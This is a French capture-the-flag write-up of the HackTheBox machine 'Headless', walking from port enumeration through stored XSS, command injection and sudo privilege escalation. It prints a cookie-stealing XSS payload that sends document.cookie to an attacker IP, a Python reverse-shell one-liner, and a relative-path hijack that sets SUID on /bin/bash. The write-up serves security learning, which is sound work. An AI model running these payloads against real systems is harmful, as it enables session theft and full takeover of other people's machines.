HACKTHEBOX - HEADLESS
Lien : https://app.hackthebox.eu/machines/Headless
Enumeration
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_ 256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.11.2
| Date: Thu, 28 Mar 2024 22:16:09 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 2799
| Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Under Construction</title>
| <style>
| body {
| font-family: 'Arial', sans-serif;
| background-color: #f7f7f7;
| margin: 0;
| padding: 0;
| display: flex;
| justify-content: center;
| align-items: center;
| height: 100vh;
| .container {
| text-align: center;
| background-color: #fff;
| border-radius: 10px;
| box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
| RTSPRequest:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
On remarque un site web dans le port 5000 :
On peut aussi avoir accès a un formulaire de contact :
User
Stored XSS
Si on essaie de passer une XSS via le message, cela ne passe pas et l'on est "detecté" :
Cependant, si on essaye de faire passer une XSS via le user agent (notamment car ce dernier est affiché), nous pouvons faire une XSS :
La XSS est sûrement stockée dans les rapports, et sera consultée par l'admin
Maintenant, nous devons essayer de retrouver le cookie de l'admin. Pour cela, voici ce que l'on va faire :
Pour cela, notre payload pour la XSS sera le suivant :
<script>window.location='http://10.10.16.96/script.php?cookies='+(document.cookie);</script>
De notre côté, nous lançons un serveur web pour récupérer le cookie :
sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.8 - - [28/Mar/2024 23:54:14] "GET /script.php?cookies=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 404 -
10.10.11.8 - - [28/Mar/2024 23:54:15] code 404, message File not found
10.10.11.8 - - [28/Mar/2024 23:54:15] "GET /favicon.ico HTTP/1.1" 404 -
Nous avons alors accès au dashboard avec le cookie volé :
Command Injection
Le champ date est vulnérable à une commande injection. Sachant que nous avons un "Werkzeug/2.2.2 Python/3.11.2", nous pouvons utiliser un reverse shell via python :
Payload (voir https://www.revshells.com/) :
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.96",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
Et nous avons un reverse shell en tant que dvir
!
Root
Dans un premier temps, nous pouvons constater la présence de mail pour l'utilisateur dvir
(/var/mail/dvir) :
Hello!
We have an important update regarding our server. In response to recent compatibility and crashing issues, we've introduced a new system check script.
What's special for you?
- You've been granted special privileges to use this script.
- It will help identify and resolve system issues more efficiently.
- It ensures that necessary updates are applied when needed.
Rest assured, this script is at your disposal and won't affect your regular use of the system.
If you have any questions or notice anything unusual, please don't hesitate to reach out to us. We're here to assist you with any concerns.
By the way, we're still waiting on you to create the database initialization script!
Best regards,
Headless
On nous dit que nous avons des privilèges spéciaux pour utiliser un script de vérification du système. Nous avons aussi un fichier initdb.sh
qui est présent dans /usr/bin/
Dans les sudoers :
Matching Defaults entries for dvir on headless:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheck
Nous avons un script syscheck
qui est exécutable par dvir
en tant que root sans mot de passe. Voici le contenu du script :
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
Immédiatement, on peut constater l'utilisation de chemins absolus pendant tout le script, SAUF pour la ligne ./initdb.sh 2>/dev/null
Il nous suffit de créer un script initdb.sh
dans le répertoire courant pour obtenir un shell root :
#!/bin/bash
chmod +s /bin/bash
echo "Pwned !"
Puis nous exécutons le script syscheck
:
dvir@headless:~/test$ sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.4G
System load average: 1.88, 2.09, 2.10
Database service is not running. Starting it...
Pwned !
Never use relative path for sudoers in scripts. Maybe never use it anyway tbf
# id
uid=0(root) gid=0(root) groups=0(root)